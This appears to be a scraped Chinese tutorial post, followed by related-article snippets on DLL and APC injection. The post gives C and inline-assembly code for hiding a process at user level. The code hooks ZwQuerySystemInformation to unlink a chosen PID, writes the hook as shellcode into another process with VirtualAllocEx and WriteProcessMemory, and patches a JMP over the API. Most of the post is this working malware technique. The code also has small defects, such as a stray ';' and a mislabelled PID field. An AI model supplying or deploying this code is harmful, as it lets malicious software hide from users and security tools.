ring3 dll hide

ZwQuerySystemInformation(SystemProcessInformation,SystemInformation,Length,ReturnLength);

pSystemProcesses = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;

while (TRUE){

printf("进程PID: %d\n",pSystemProcesses->InheritedFromProcessId);

if (!pSystemProcesses->NextEntryOffset) {

break;

}

pSystemProcesses = (PSYSTEM_PROCESS_INFORMATION)((char *)pSystemProcesses + pSystemProcesses->NextEntryOffset);

}

当是我们需要隐藏的进程的时候我们可以通过增加NextEntryOffset的长度或者设置NextEntryOffset长度为0来隐藏进程。所以我们可以构造以下类似代码:

NTSTATUS

NTAPI

HOOK_ZwQuerySystemInformation(

IN SYSTEM_INFORMATION_CLASS SystemInformationClass,

OUT PVOID SystemInformation,

IN ULONG SystemInformationLength,

OUT PULONG ReturnLength OPTIONAL

)

{

NTSTATUS ntStatus;

PSYSTEM_PROCESSES pSystemProcesses=NULL,Prev;

_asm{

push ebx

push ReturnLength

push SystemInformationLength

push SystemInformation

push SystemInformationClass

call ZwQuerySystemInformationProxy //让原来函数执行完成,只有这样函数才能返回我们需要的数据然后在数据里进行修改

mov ntStatus,eax

pop ebx

}

if (NT_SUCCESS(ntStatus) && SystemInformationClass==SystemProcessesAndThreadsInformation){

pSystemProcesses = (PSYSTEM_PROCESSES)SystemInformation;

while (TRUE){

if (pSystemProcesses->;ProcessId==0x12345678){ //如果是我们需要隐藏的PID就进行数据修改

if (pSystemProcesses->NextEntryDelta){

//当我们需要隐藏的进程后面还有进程时

//越过我们自己进程让NextEntryDelta直接指向下一个数据块

Prev->NextEntryDelta += pSystemProcesses->NextEntryDelta;

}else{

//当我们进程处于最后一个数据那么我们就把上一个数据结构的NextEntryDelta置0

//这时系统在遍历我们进程时就不会发现了

Prev->NextEntryDelta=0;

}

break;

}

if (!pSystemProcesses->NextEntryDelta) {

break;

}

Prev=pSystemProcesses;

pSystemProcesses = (PSYSTEM_PROCESSES)((char *)pSystemProcesses + pSystemProcesses->NextEntryDelta);

}

}

return ntStatus;

}

我们为了不添加一个多余的DLL所以必须是以Shellcode方式注入到目标进程,但是要这样写完整的shellcode确实有点麻烦,我们可以取巧利用程序来实现。

我们把函数内需要重定位的地方全部使用__asm来完成比如上面的

_asm{

push ebx

push ReturnLength

push SystemInformationLength

push SystemInformation

push SystemInformationClass

call ZwQuerySystemInformationProxy //让原来函数执行完成,只有这样函数才能返回我们需要的数据然后在数据里进行修改

mov ntStatus,eax

pop ebx

}

调用绝对地址来实现,这样就不需要重定位了。这样我们可以把这个函数拷贝到目标进程了,再进行下目标地址的计算就ok了。所以有类似下面的实现代码:

BOOLEAN SetHook(DWORD dwProcessId,DWORD dwHideId)

{

BOOLEAN bRet=FALSE;

DWORD OldProtect;

DWORD dwCodeStart,dwCodeEnd,dwCodeSize;

BYTE HookCode[5]={0xE9,0,0,0,0};

HANDLE hProcess=NULL;

PVOID RemoteAllocBase=NULL;

DWORD dwFunAddress;

PUCHAR pBuffer;

dwCodeStart = GetFunAddress((PUCHAR)FunStart);

dwCodeEnd = GetFunAddress((PUCHAR)FunEnd);

dwCodeSize = dwCodeEnd-dwCodeStart;

hProcess = OpenProcess(PROCESS_ALL_ACCESS,

FALSE,

dwProcessId

);

if (hProcess){

RemoteAllocBase = VirtualAllocEx(hProcess,

NULL,

dwCodeSize,

MEM_COMMIT,

PAGE_EXECUTE_READWRITE

);

if (RemoteAllocBase){

printf("\t申请内存地址:0x%x\n",RemoteAllocBase);

g_lpRemoteAllocBase = RemoteAllocBase;

if (ZwQuerySystemInformation){

bRet=VirtualProtect((PVOID)dwCodeStart,

dwCodeSize,

PAGE_EXECUTE_READWRITE,

&OldProtect

);

if (bRet){

memcpy((PVOID)dwCodeStart,ZwQuerySystemInformation,5); //这里可以在本进程中取备份代码也可以在远程进程中取一般正常情况是一样的

*(DWORD *)(dwCodeStart+6)=(DWORD)ZwQuerySystemInformation;//这里不需要用特征定位,因为肯定是在第六个字节开始的地方

*HookCode=0xE9;

dwFunAddress = GetFunAddress((PUCHAR)HOOK_ZwQuerySystemInformation);

dwFunAddress -= dwCodeStart;

dwFunAddress += (DWORD)RemoteAllocBase; //计算HOOK_ZwQuerySystemInformation在目标进程中的地址

printf("\tHOOK_ZwQuerySystemInformation内存地址:0x%x\n",dwFunAddress);

*(DWORD *)&HookCode[1]=dwFunAddress-5-(DWORD)ZwQuerySystemInformation;

dwFunAddress = GetFunAddress((PUCHAR)HOOK_ZwQuerySystemInformation);

for (pBuffer=(PUCHAR)dwFunAddress;

pBuffer<(PUCHAR)dwFunAddress+(dwCodeEnd-dwFunAddress);

pBuffer++

)

{

if (*(DWORD *)pBuffer==0x12345678){

*(DWORD *)pBuffer = dwHideId;

break;

}

}

VirtualProtect((PVOID)dwCodeStart,

dwCodeSize,

PAGE_EXECUTE_READWRITE,

&OldProtect

);

}

}

bRet=WriteProcessMemory(hProcess,

RemoteAllocBase,

(PVOID)dwCodeStart,

dwCodeSize,

NULL

);

if (bRet){

bRet=WriteProcessMemory(hProcess,

ZwQuerySystemInformation,

HookCode,

5,

NULL

);

}

}

CloseHandle(hProcess);

}

return bRet;

}

时间: 2024-10-26 02:58:19

ring3 dll hide的相关文章

Windows 注入

平常用的最多的dll注入技术就是远程线程,刚刚逛看雪,看到有人写的面试的时候被问到的问题,其中就有dll注入的方法,我突然想到我开始面试的时候也被问了dll注入的方法,当时也是就只知道一个远程线程,答的也不好,然后就想把一些注入技术写个总结.接下来讲的注入技术,有ring3层的lld的远程线程和apc注入,还有ring0的apc注入,此外还有更为隐蔽的代码注入. 先写最广泛的,也是相对简单的注入方式,远程线程. 一 ring3 dll的远程线程 我写的涉及到x86和x64的注入,因为x64的系统

PE打补丁技术大全

Downloads PE Viewer PE Maker - Step 1 - Add new Section. PE Maker - Step 2 - Travel towards OEP. PE Maker - Step 3 - Support Import Table. PE Maker - Step 4 - Support DLL and OCX. PE Maker - Step 5 - Final work. CALC.EXE - test file Contents 0. Prefa

Windows x86/ x64 Ring3层注入Dll总结

0x01.前言 提到Dll的注入,立马能够想到的方法就有很多,比如利用远程线程.Apc等等,这里我对Ring3层的Dll注入学习做一个总结吧. 我把注入的方法分成六类,分别是:1.创建新线程.2.设置线程上下背景文,修改寄存器.3.插入Apc队列.4.修改注册表.5.挂钩窗口消息.6.远程手动实现LoadLibrary. 那么下面就开始学习之旅吧! 0x02.预备工作 在涉及到注入的程序中,提升程序的权限自然是必不可少的,这里我提供了两个封装的函数,都可以用于提权.第一个是通过权限令牌来调整权限

反ring3 hook demo ,直接从dll文件修复 dll的code段,实现反hook

// CounterHook.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include <Windows.h> void showInfo(LPWSTR strInfo) { OutputDebugStringW(strInfo); } typedef HANDLE (WINAPI* pfnCreateEvent)( LPSECURITY_ATTRIB

固定dll的加载基址的方法

调试dll的时候会有一件事情比较烦人,就是dll加载的地址不会很固定(默认设置下编译的dll基址总是0x10000000,多个同基址的dll加载时,后面的肯定会被重定位),这给前后多次调试时对比分析结果造成了一些麻烦,要解决这个问题,有两种办法.方法一:直接修改dll文件PE头中的ImageBase为一个不大可能被占用的地址.但是这个方法有一个小小的局限,就是有些文件是存在校验的,改了文件之后会出一些问题,比如拒绝加载之类的. 这种情况就要用第二种方法了. 方法二:动态修改dll的加载基址 当然

QWebView崩溃 “Qt5WebKitd.dll!WTFCrash() 行 345 C++” 的解决方法

今天使用 QWebView 来做个简易的浏览器,出现了几个崩溃的问题,我的 Qt 版本是最新的5.4.2,相信 5.3.2 或者更低版本也会出现这些问题. 问题重现: 1.QWebView::load(URL),当界面还没加载完的时候,双击此控件会出现崩溃: 2.当 load()  过程中,界面出现垂直滚动条而又未完全加载完成的时间,使用鼠标滑轮或者直接拖动滚动条至最顶或者最底时出现崩溃(有些页面出现). 崩溃的堆栈如下: Qt5WebKitd.dll!WTFCrash() 行 345 C++

QueryUserAPC Ring3下 APC注入

DLL.dll可以自己建,实测在win7 X86 X64, win10 X64下可用 #pragma once /****************************************************************************************************/ /*Ring3下 APC注入提权 TLHelp32枚举线程 vector*/ /***************************************************

驱动里执行应用层代码之KeUserModeCallBack(WOW64是由三个动态库wow64.dll wow64win.dll wow64cpu.dll来实现)

在驱动层(ring0)里执行应用层(ring3)代码,这是个老生常谈的技术,而且方法也挺多. 这种技术的本质:其实就是想方设法在驱动层里把应用层代码弄到应用层去执行. 比如在APC异步调用中,KeInsertQueueApc,KeInitializeApc等函数中可设置一个在ring3层执行一个回调函数,这样就可以回到应用层去执行代码了. 再比如在驱动中查找某个进程的一个线程,然后挂起它,把他的EIP指向需要执行的一段代码(把驱动层需要注入的这段代码叫ShellCodde), 执行完之后再回到线

Ring3 APC注入

系统产生一个软中断,当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数,利用QueueUserAPC()这个API,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的, 1.根据进程名称得进程ID2.枚举该进程中的线程3.将自己的函数插入到每个线程的APC队列中 1 // APCInject(Ring3).cpp : 定义控制台应用程序的入口点. 2 // 3 4 #include "stdafx.h" 5 #include <windows.h> 6